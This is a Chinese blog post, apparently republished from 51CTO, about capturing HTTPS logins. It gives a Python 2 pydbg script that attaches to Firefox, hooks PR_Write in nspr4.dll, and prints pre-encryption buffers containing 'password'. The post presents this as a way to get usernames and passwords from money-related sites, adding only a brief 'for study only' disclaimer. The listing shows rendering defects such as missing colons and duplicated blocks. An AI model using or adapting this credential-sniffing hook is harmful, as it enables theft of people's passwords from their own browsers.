利用python的hook技术破解https

简介:

   相对于http协议,http是的特点就是他的安全性,http协议的通信内容用普通的嗅探器可以捕捉到,但是https协议的内容嗅探到的是加密后的内容,对我们的利用价值不是很高,所以一些大的网站----涉及到“大米”的网站,采用的都是http是协议,嘿嘿,即便这样,还是有办法能看到他的用户名和密码的,嘿嘿,本文只是用于技术学习,只是和大家交流技术,希望不要用于做违法的事情,这个例子是在firefox浏览器下登录https协议的网站,我们预先打开程序,就来了个捕获用户名和密码:

下面是源代码:

 
  1. #!/ur/bin/env python 
  2. from pydbg import * 
  3. from pydbg.defines import * 
  4.  
  5. import utils 
  6. import sys 
  7.  
  8. dbg = pydbg() 
  9. found_firefox = False 
  10.  
  11. pattern = "password" 
  12.  
  13.  
  14. def ssl_sniff( dbg, args ): 
  15.     buffer = "" 
  16.     offset = 0 
  17.     while 1
  18.         byte = dbg.read_process_memory( args[1] + offset, 1 ) 
  19.         if byte != "\x00"
  20.             buffer += byte 
  21.             offset += 1 
  22.             continue 
  23.         else
  24.             break 
  25.     if pattern in buffer: 
  26.         print "Pre-Encrypted: %s" % buffer 
  27.     return DBG_CONTINUE 
  28. # 寻找firefox.exe的进程 
  29. for (pid, name) in dbg.enumerate_processes(): 
  30.     if name.lower() == "firefox.exe"
  31.         found_firefox = True 
  32.         hooks = utils.hook_container() 
  33.         dbg.attach(pid) 
  34.         print "[*] Attaching to firefox.exe with PID: %d" % pid 
  35. # 得到firefox的hook的 address 
  36.         hook_address = dbg.func_resolve_debuggee("nspr4.dll","PR_Write"
  37.         if hook_address: 
  38. # 添加hook的内容,包括他的pid,地址,嗅探类型
  39.  
  40.             hooks.add( dbg, hook_address, 2, ssl_sniff, None ) 
  41.             print "[*] nspr4.PR_Write hooked at: 0x%08x" % hook_address 
  42.             break 
  43.         else
  44.             print "[*] Error: Couldn't resolve hook address." 
  45.             sys.exit(-1
  46.         if found_firefox: 
  47.             print "[*] Hooks set, continuing process." 
  48.             dbg.run() 
  49.         else
  50.                 print "[*] Error: Couldn't find the firefox.exe process." 
  51.                 sys.exit(-1
  52.                  
  53. if found_firefox: 
  54.     print "[*] Hooks set, continuing process." 
  55.     dbg.run() 
  56. else
  57.     print "[*] Error: Couldn't find the firefox.exe process." 
  58.     sys.exit(-1

演示视频见链接:http://www.linux520.com/stcs/2011-03-18/174.html#ecms 

本文转自你是路人甲还是霍元甲博客51CTO博客,原文链接http://blog.51cto.com/world77/518679如需转载请自行联系原作者


world77

相关文章
|
30天前
|
存储 并行计算 Java
Python读取.nc文件的方法与技术详解
本文介绍了Python中读取.nc(NetCDF)文件的两种方法:使用netCDF4和xarray库。netCDF4库通过`Dataset`函数打开文件,`variables`属性获取变量,再通过字典键读取数据。xarray库利用`open_dataset`打开文件,直接通过变量名访问数据。文中还涉及性能优化,如分块读取、使用Dask进行并行计算以及仅加载所需变量。注意文件路径、变量命名和数据类型,读取后记得关闭文件(netCDF4需显式关闭)。随着科学数据的增长,掌握高效处理.nc文件的技能至关重要。
108 0
|
1月前
|
算法 大数据 计算机视觉
Python中的并发编程技术探究
本文将深入探讨Python中的并发编程技术,包括多线程、多进程、协程等,并分析它们在提高程序性能和效率方面的应用场景和优势。通过比较不同并发编程方式的特点和适用场景,读者可以更好地理解如何利用Python强大的并发处理能力来优化程序设计。
|
25天前
|
安全 Python
Python中的并发编程:多线程与多进程技术探究
本文将深入探讨Python中的并发编程技术,重点介绍多线程和多进程两种并发处理方式的原理、应用场景及优缺点,并结合实例分析如何在Python中实现并发编程,以提高程序的性能和效率。
|
7天前
|
分布式计算 Hadoop 大数据
大数据技术与Python:结合Spark和Hadoop进行分布式计算
【4月更文挑战第12天】本文介绍了大数据技术及其4V特性,阐述了Hadoop和Spark在大数据处理中的作用。Hadoop提供分布式文件系统和MapReduce,Spark则为内存计算提供快速处理能力。通过Python结合Spark和Hadoop,可在分布式环境中进行数据处理和分析。文章详细讲解了如何配置Python环境、安装Spark和Hadoop,以及使用Python编写和提交代码到集群进行计算。掌握这些技能有助于应对大数据挑战。
|
2月前
|
机器学习/深度学习 数据可视化 数据挖掘
Python技术应用:数据分析与可视化的利器
【2月更文挑战第7天】在当今信息爆炸的时代,数据分析和可视化已经成为各行业的核心竞争力。Python作为一种简洁、高效的编程语言,为数据分析带来了全新的可能性。本文将介绍Python在数据分析和可视化领域的应用,探讨其在实际工作中的重要性和价值。
25 2
|
1月前
|
数据可视化 数据挖掘 数据处理
Python中的数据可视化技术及应用
数据可视化是数据分析领域中至关重要的一环,Python作为一种流行的编程语言,拥有丰富的数据可视化库和工具。本文将介绍Python中常用的数据可视化技术及其在实际应用中的案例,帮助读者更好地理解和运用数据可视化技术。
|
2天前
|
数据采集 NoSQL 搜索推荐
五一假期畅游指南:Python技术构建的热门景点分析系统解读
五一假期畅游指南:Python技术构建的热门景点分析系统解读
|
21天前
|
机器学习/深度学习 人工智能 数据可视化
基于Python的数据可视化技术在大数据分析中的应用
传统的大数据分析往往注重数据处理和计算,然而数据可视化作为一种重要的技术手段,在大数据分析中扮演着至关重要的角色。本文将介绍如何利用Python语言中丰富的数据可视化工具,结合大数据分析,实现更直观、高效的数据展示与分析。
|
23天前
|
数据采集 XML 程序员
揭秘YouTube视频世界:利用Python和Beautiful Soup的独特技术
本文介绍了如何使用Python和Beautiful Soup库抓取YouTube视频数据,包括标题、观看次数和点赞、踩的数量。通过亿牛云爬虫代理IP服务避免被网站屏蔽,提供代理服务器配置和请求头设置示例。代码可能需根据YouTube页面更新进行调整。
揭秘YouTube视频世界:利用Python和Beautiful Soup的独特技术
|
25天前
|
UED 开发者 Python
Python中的并发编程技术探究
本文将深入探讨Python中的并发编程技术,介绍多线程、多进程、协程等概念及其在实际项目中的运用,帮助读者更好地理解并发编程的重要性和应用场景。